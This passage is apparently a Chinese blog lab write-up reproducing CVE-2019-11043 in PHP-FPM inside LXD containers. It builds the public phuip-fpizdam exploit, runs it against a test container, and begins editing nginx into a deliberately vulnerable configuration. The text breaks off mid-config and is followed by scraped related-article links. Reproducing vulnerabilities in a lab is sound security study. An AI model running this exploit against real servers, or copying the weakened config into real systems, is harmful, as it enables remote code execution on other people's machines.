ubuntu@vulnerable:~$ curl http://localhost

Hello World

ubuntu@vulnerable:~$

存在漏洞的容器已准备就绪,为容器做个快照,以备将来会使用到。

ubuntu@vulnerable:~$ logout

$ lxc snapshot vulnerable stock-with-php-on

$

0x02 配置攻击容器环境

创建hacker容器并编译漏洞利用代码:

$ lxc launch ubuntu:18.04 hacker

Creating hacker

Starting hacker

$ lxc exec hacker -- sudo --user ubuntu --login

ubuntu@hacker:~$ sudo snap install go --classic

go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed

ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git

ubuntu@hacker:~$ cd phuip-fpizdam/

ubuntu@hacker:~/phuip-fpizdam$ go build

go: downloading github.com/spf13/cobra v0.0.5

go: extracting github.com/spf13/cobra v0.0.5

go: downloading github.com/spf13/pflag v1.0.3

go: extracting github.com/spf13/pflag v1.0.3

go: finding github.com/spf13/cobra v0.0.5

go: finding github.com/spf13/pflag v1.0.3

ubuntu@hacker:~/phuip-fpizdam$ ls

README.md  consts.go  detect_methods.go  go.sum   phpini.go

reproducer attack.go  detect.go  go.mod  main.go  phuip-fpizdam

requester.go

ubuntu@hacker:~/phuip-fpizdam$

在这一阶段,我们可以尝试查看vulnerable容器中nginx + php的常规安装是否可以执行漏洞利用代码实现利用。该vulnerable容器是通过使用名称加上.lxd从这个容器访问。每个LXD容器都是随机获得这样的主机名的,其他容器都可以使用这些主机名来访问所有这些主机名。

ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php

Hello World

ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php

2019/10/28 10:09:06 Base status code is 404

2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong

ubuntu@hacker:~/phuip-fpizdam$

hacker容器已经准备就绪,vulnerable容器是不是真的可以被利用,需要恢复快照到可以利用的状态。

0x03 配置vulnerable容器

在上面的服务器配置中,有一个指令是include snippets/fastcgi-php.conf;,该指令用于逐字节include一组配置。我们需要编辑这些配置,因此导入整个文件,服务器块如下所示:

# Location: /etc/nginx/sites-enabled/default

server {

listen 80 default_server;

root /var/www/html;

# Add index.php to the list if you are using PHP

index index.html index.php;

server_name _;

location / {

# First attempt to serve request as file, then

# as directory, then fall back to displaying a 404.

try_files $uri $uri/ =404;

}

# pass PHP scripts to FastCGI server

#

location ~ \.php$ {

# regex to split $uri to $fastcgi_script_name and $fastcgi_path

fastcgi_split_path_info ^(.+.php)(/.+)$;

# Check that the PHP script exists before passing it

try_files $fastcgi_script_name =404;

# Bypass the fact that try_files resets $fastcgi_path_info

# see: http://trac.nginx.org/nginx/ticket/321

set $path_info $fastcgi_path_info;

fastcgi_param PATH_INFO $path_info;

fastcgi_index index.php;

include fastcgi.conf;

fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;

}

}

我们进行以下最小更改。

首先,将匹配模式更改为所述模式。其次,注释掉try_files指令。然后,将include fastcgi.conf目录移到该部分的最外层。该文件位于/etc/nginx/fastcgi.conf,只需要将几个环境变量设置为PHP-FPM。

更改为php-fpm的默认nginx配置。

这是最终漏洞程序的配置文件。

# Location: /etc/nginx/sites-enabled/default

server {

listen 80 default_server;

root /var/www/html;

# Add index.php to the list if you are using PHP

php 缓冲区溢出漏洞,在Linux 容器中对php-fpm缓冲区溢出漏洞的复现分析 ( CVE-2019-11043 )...相关推荐

  1. 论文中文翻译——Double-Fetch情况如何演变为Double-Fetch漏洞:Linux内核中的双重获取研究

    本论文相关内容 论文下载地址--Web Of Science 论文中文翻译--How Double-Fetch Situations turn into Double-Fetch Vulnerabil ...

  2. .NET程序在Linux容器中的演变

    本文讲的是.NET程序在Linux容器中的演变[编者的话]Linux容器技术已被开发人员所熟知,现在.NET程序可以跑在Docker容器中,这为以Windows中心的开发人员带来了好处. [上海站|3 ...

  3. linux内核 漏洞扫描,Linux kernel中存在15年的漏洞

    SCSI 定义了并行I/O 总线和数据协议来连接硬盘驱动.打印机.扫描仪.光驱.测试设备.医疗设备等外部设备到本地计算机.近日,GRIMM在Linux kernel SCSI (Small Compu ...

  4. Linux内核中无名管道pipe和有名管道fifo的分析

    1.管道(pipe) 管道是进程间通信的主要手段之一.一个管道实际上就是个只存在于内存中的文件,对这个文件的操作要通过两个已经打开文件进行,它们分别代表管道的两端.管道是一种特殊的文件,它不属于某一种 ...

  5. c# 溢出抛异常_C#中的int是否没有溢出异常?

    在C#中,OverflowException不会引发(在VB中,默认情况下会引发异常). 为了获得排他性,您必须将代码嵌入checked上下文中: byte value = 241; checked ...

  6. xxs漏洞危害_PHP开发中经常遇到的Web安全漏洞防御详解

    程序员需要掌握基本的web安全知识,防患于未然,你们知道有多少种web安全漏洞吗?这里不妨列举10项吧,你们可以自己去网站找相应的教程来提升自己的1.命令注入(Command Injection)2. ...

  7. 在Linux和Windows的Docker容器中运行ASP.NET Core

    译者序:其实过去这周我都在研究这方面的内容,结果周末有事没有来得及总结为文章,Scott Hanselman就捷足先登了.那么我就来翻译一下这篇文章,让更多的中文读者看到.当然Scott遇到的坑我也遇 ...

  8. 使用Linux docker容器中的集成安全性对SQL Server的.Net Core客户端进行身份验证

    目录 面对问题 逐步发现解决方案 先决条件 我们的演示应用 在容器中准备kerberos身份验证 KDC消费所需的包 创建一个合适的krb5.conf文件 生成keytab文件 Docker化演示应用 ...

  9. 浅析linux容器--Docker

    最近公司调整微服务架构,有幸开始接触到Docker,刚开始接触到docker的时候我去简单的百度了下docker容器,了解到docker属于linux容器中的一种,通过docker,linux容器发展 ...

最新文章

  1. 压力管道流量计算公式_带你全面了解各种流量计!
  2. 内存只有100G,要全表扫描一个200G大表,会不会把内存用完?
  3. php 多表查询输出,ThinkPHP多表查询
  4. Document的理解
  5. 选中下拉列表显示全部数据_小白都能学会的多级下拉列表,让你的Excel效率提升百倍...
  6. python求零点_python – 计算大序列的过零点的结果不同
  7. webpack4+node合并资源请求, 实现combo功能(二十三)
  8. SparkStreaming窗口入门
  9. pycharm快捷键之①“上下移动某一行“②参数提示
  10. Java基础面试题(2022年)
  11. 字符串c语言实验报告总结,c语言实验报告范文
  12. 微信小程序引入阿里矢量图标
  13. iconfont图标使用方法
  14. Python pytz时区转换
  15. 订阅号做微信登录php,Thinkphp5实现微信登录
  16. 十大热门编程语言入门难度排名
  17. switch更新主机服务器维护,switch更新链接不到服务器
  18. lpx寒假作业案例7
  19. 加强杂交和环境选择的高维目标进化算法
  20. (一)微信小程序支付前后台

热门文章

  1. 求多边形凸包(线性算法)--陈氏凸包算法--
  2. Linguistic Sorting and Matching
  3. 【厚积薄发系列】C++项目总结21—VS远程调试技巧分享
  4. Reason given for failure: CSRF cookie not set.
  5. 下一代手机应该会是折叠屏
  6. Linux鸟哥的私房菜--基础篇--第五章 Linux的文件权限和目录配置
  7. 网络操作系统之对等式局域网
  8. Android那些事儿 成长中的Android(1)
  9. Android 2018年九月面试经历总结
  10. 如何快速一次性卸载所有python包(第三方库)呢